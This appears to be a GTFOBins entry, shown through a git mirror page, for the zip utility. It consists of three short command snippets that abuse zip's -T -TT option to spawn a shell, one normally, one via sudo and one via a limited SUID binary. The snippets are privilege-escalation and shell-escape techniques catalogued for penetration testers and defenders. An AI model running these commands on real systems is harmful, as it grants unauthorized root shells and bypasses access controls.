mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-27 07:18:48 +01:00
19 lines
351 B
Markdown
19 lines
351 B
Markdown
---
|
|
functions:
|
|
shell:
|
|
- code: |
|
|
TF=$(mktemp -u)
|
|
zip $TF /etc/hosts -T -TT 'sh #'
|
|
rm $TF
|
|
sudo:
|
|
- code: |
|
|
TF=$(mktemp -u)
|
|
sudo zip $TF /etc/hosts -T -TT 'sh #'
|
|
sudo rm $TF
|
|
limited-suid:
|
|
- code: |
|
|
TF=$(mktemp -u)
|
|
./zip $TF /etc/hosts -T -TT 'sh #'
|
|
sudo rm $TF
|
|
---
|